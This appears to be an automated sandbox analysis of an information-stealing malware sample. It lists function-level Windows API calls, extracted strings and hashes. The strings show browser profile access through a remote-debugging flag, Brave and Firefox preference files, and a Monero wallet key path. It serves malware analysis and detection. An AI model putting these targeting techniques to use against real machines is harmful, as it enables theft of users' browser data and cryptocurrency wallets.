Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

FindFirstFileA.KERNEL32(00000000,?,00D50B32,00D50B2F,00000000,?,?,?,00D51450,00D50B2E), ref: 00D3BEC5
StrCmpCA.SHLWAPI(?,00D51454), ref: 00D3BF33
StrCmpCA.SHLWAPI(?,00D51458), ref: 00D3BF49
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3C8A9
FindClose.KERNEL32(000000FF), ref: 00D3C8BB

Strings

--remote-debugging-port=9229 --profile-directory=", xrefs: 00D3C3B2
Brave, xrefs: 00D3C0E8
Google Chrome, xrefs: 00D3C6F8
Preferences, xrefs: 00D3C104
--remote-debugging-port=9229 --profile-directory=", xrefs: 00D3C495
--remote-debugging-port=9229 --profile-directory=", xrefs: 00D3C534
\Brave\Preferences, xrefs: 00D3C1C1

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-1869280968
Opcode ID: e7dbe7100b4d8d9a6b2c5fbf5b41711ebbbeffcd5a73dbfe7edee0bffa59a7bb
Instruction ID: 17629494534076c2418b52221f9dae2f55026ca28a9e90244a025af9542c90aa
Opcode Fuzzy Hash: e7dbe7100b4d8d9a6b2c5fbf5b41711ebbbeffcd5a73dbfe7edee0bffa59a7bb
Instruction Fuzzy Hash: 30524F729501189BDB24FB64DD96EEE733DEF54300F404599B94AA6081EF34AB48CFB2

Function 00D43B00 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D43B1C
FindFirstFileA.KERNEL32(?,?), ref: 00D43B33
lstrcat.KERNEL32(?,?), ref: 00D43B85
StrCmpCA.SHLWAPI(?,00D50F58), ref: 00D43B97
StrCmpCA.SHLWAPI(?,00D50F5C), ref: 00D43BAD
FindNextFileA.KERNEL32(000000FF,?), ref: 00D43EB7
FindClose.KERNEL32(000000FF), ref: 00D43ECC

Strings

%s%s, xrefs: 00D43CFD
%s\%s, xrefs: 00D43BCA
%s\%s, xrefs: 00D43CBF
%s\%s\%s, xrefs: 00D43C9A
%s\*, xrefs: 00D43B10

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: e2513db76d5726cbf94d87779bb9d67a422a6925f8b1975b57b99c887ac20758
Instruction ID: 1416467e49b6a894e9ecc181f900ddfada9cc385001be8ed1ad779e152ab6e23
Opcode Fuzzy Hash: e2513db76d5726cbf94d87779bb9d67a422a6925f8b1975b57b99c887ac20758
Instruction Fuzzy Hash: FAA13171A002089BDB35DFA8DC85FEA7379EB48301F044598BA4D96185DB75AB88CF71

Function 00D44B60 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D44B7C
FindFirstFileA.KERNEL32(?,?), ref: 00D44B93
StrCmpCA.SHLWAPI(?,00D50FC4), ref: 00D44BC1
StrCmpCA.SHLWAPI(?,00D50FC8), ref: 00D44BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00D44DCD
FindClose.KERNEL32(000000FF), ref: 00D44DE2

Strings

%s\%s, xrefs: 00D44BF4
%s\*, xrefs: 00D44B70
%s\%s, xrefs: 00D44C4B

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 309b225b334b84952a96dad8a412300db0b2bd8fe9437ed0d94035dc5502ce1f
Instruction ID: 69599acd122c5ef9fbbba53a7b62d4f287651c1f1f84edd7409e4d42615aa990
Opcode Fuzzy Hash: 309b225b334b84952a96dad8a412300db0b2bd8fe9437ed0d94035dc5502ce1f
Instruction Fuzzy Hash: E8615872900118ABCB34EBA4DC45FEA777CEF48701F048588F64996144EB75AB88CFB1

Function 00D447C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D447D0
RtlAllocateHeap.NTDLL(00000000), ref: 00D447D7
wsprintfA.USER32 ref: 00D447F6
FindFirstFileA.KERNEL32(?,?), ref: 00D4480D
StrCmpCA.SHLWAPI(?,00D50FAC), ref: 00D4483B
StrCmpCA.SHLWAPI(?,00D50FB0), ref: 00D44851
FindNextFileA.KERNEL32(000000FF,?), ref: 00D448DB
FindClose.KERNEL32(000000FF), ref: 00D448F0
lstrcat.KERNEL32(?,0167E888), ref: 00D44915
lstrcat.KERNEL32(?,0167D860), ref: 00D44928
lstrlen.KERNEL32(?), ref: 00D44935
lstrlen.KERNEL32(?), ref: 00D44946

Strings

%s\%s, xrefs: 00D4486B
%s\*, xrefs: 00D447EA

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 5228039fc7315a06e33c2990fb6e5ba36bf9a613362adb63803e411fa2e95ab7
Instruction ID: c102afafdde9e92a26a893aba0830237c9e5a5deaae7a625366ba4aa9446ec65
Opcode Fuzzy Hash: 5228039fc7315a06e33c2990fb6e5ba36bf9a613362adb63803e411fa2e95ab7
Instruction Fuzzy Hash: D85156715402189BCB25EB74DC89FED777CEB58300F404588B68996184DB79EB88CFB1

Function 00D440F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D44113
FindFirstFileA.KERNEL32(?,?), ref: 00D4412A
StrCmpCA.SHLWAPI(?,00D50F94), ref: 00D44158
StrCmpCA.SHLWAPI(?,00D50F98), ref: 00D4416E
FindNextFileA.KERNEL32(000000FF,?), ref: 00D442BC
FindClose.KERNEL32(000000FF), ref: 00D442D1

Strings

%s\%s, xrefs: 00D44107

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f06295ba96e640c057c47e59a428ee981fcc5e0266e1fe0322a406c41dbf33f5
Instruction ID: 8821a9f5de7f08a83581cca7ac7c1c3f90e8c4f24a87f789a8d726b8bc1fa42c
Opcode Fuzzy Hash: f06295ba96e640c057c47e59a428ee981fcc5e0266e1fe0322a406c41dbf33f5
Instruction Fuzzy Hash: 325147B1500218ABCB25EBB4DC89EEE737CFB54300F404688B69996044DB75AB89CF74

Function 00D3EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00D3EE3E
FindFirstFileA.KERNEL32(?,?), ref: 00D3EE55
StrCmpCA.SHLWAPI(?,00D51630), ref: 00D3EEAB
StrCmpCA.SHLWAPI(?,00D51634), ref: 00D3EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3F3AE
FindClose.KERNEL32(000000FF), ref: 00D3F3C3

Strings

%s\*.*, xrefs: 00D3EE32

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 319baddedba335ffb3925c20e54f83e24d0780f911aff957a424b2f69ec16097
Instruction ID: 47e3743fdf5343ce0a695dae58bc7d07cd94e8aecad64c24fb213cea9cf36693
Opcode Fuzzy Hash: 319baddedba335ffb3925c20e54f83e24d0780f911aff957a424b2f69ec16097
Instruction Fuzzy Hash: DFE1FE729511289BEB54FB64CCA2EEE7339EF54340F4045D9B50A62092EE306F89CF72

Function 00D70098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

expand 32-by, xrefs: 00D703C8
te k, xrefs: 00D7053E
2-by, xrefs: 00D700F6
expa, xrefs: 00D705BB
2-byexpa, xrefs: 00D70355
nd 32-by, xrefs: 00D704B4
expand 3, xrefs: 00D704E5
te knd 3expand 32-by, xrefs: 00D7034E
nd 3, xrefs: 00D70117
2-by, xrefs: 00D7036E
te k, xrefs: 00D703B4
te k, xrefs: 00D70347
expa, xrefs: 00D70461

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: 3f5ecda417dcbeb1693c58f8a1fa27f3be389e281d727155e31aee8af694ab91
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 61E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 00D3F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D516B0,00D50D97), ref: 00D3F81E
StrCmpCA.SHLWAPI(?,00D516B4), ref: 00D3F86F
StrCmpCA.SHLWAPI(?,00D516B8), ref: 00D3F885
FindNextFileA.KERNEL32(000000FF,?), ref: 00D3FBB1
FindClose.KERNEL32(000000FF), ref: 00D3FBC3

Strings

prefs.js, xrefs: 00D3F912

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d606cf250da0940367987b1b30fdf377999c9eb153e95bc80d1e5b1f25b6bed9
Instruction ID: 8b18d71e396c19cb2acda3e2620a4426c58dd4b3fe4d67a4ac9f530007062af3
Opcode Fuzzy Hash: d606cf250da0940367987b1b30fdf377999c9eb153e95bc80d1e5b1f25b6bed9
Instruction Fuzzy Hash: 5FB122729401189BDB24FF64DD96FEE7379EF54300F0045A9A50A56181EF35AB48CFB2

Function 01183254 Relevance: 15.4, Strings: 11, Instructions: 1629COMMON

Download Yara Rule

Strings

@<+, xrefs: 0118369B
jK, xrefs: 01183B5D
:S}, xrefs: 01183762
*auI, xrefs: 011844E2
=`qu, xrefs: 011835D9
_wo[, xrefs: 011834DA
.]Y7, xrefs: 01183D43
F&>, xrefs: 01183499
'U?, xrefs: 01183EF3
MV]], xrefs: 0118385C
IBh, xrefs: 01183F09

Memory Dump Source

Source File: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'U?$*auI$.]Y7$=`qu$@<+$F&>$IBh$MV]]$_wo[$:S}$jK
API String ID: 0-147113015
Opcode ID: a2cf0fff299b685a5f4b9b1a937b54fc4ce6c24c5522a4e7c4b2b35cdd6e83d5
Instruction ID: f2c0d259dd0a3e9faf92d4adb583b719945c2476f4a9e2395d0a37469388e02f
Opcode Fuzzy Hash: a2cf0fff299b685a5f4b9b1a937b54fc4ce6c24c5522a4e7c4b2b35cdd6e83d5
Instruction Fuzzy Hash: B0B218F360C204AFE3046E2DEC8567AFBE9EB98720F16453DEAC5C3744EA7558048693

Function 00D31710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00D5523C,?,?,?,00D552E4,?,?,00000000,?,00000000), ref: 00D31963
StrCmpCA.SHLWAPI(?,00D5538C), ref: 00D319B3
StrCmpCA.SHLWAPI(?,00D55434), ref: 00D319C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D31D80
DeleteFileA.KERNEL32(00000000), ref: 00D31E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00D31E60
FindClose.KERNEL32(000000FF), ref: 00D31E72

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

Strings

\*.*, xrefs: 00D31831

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
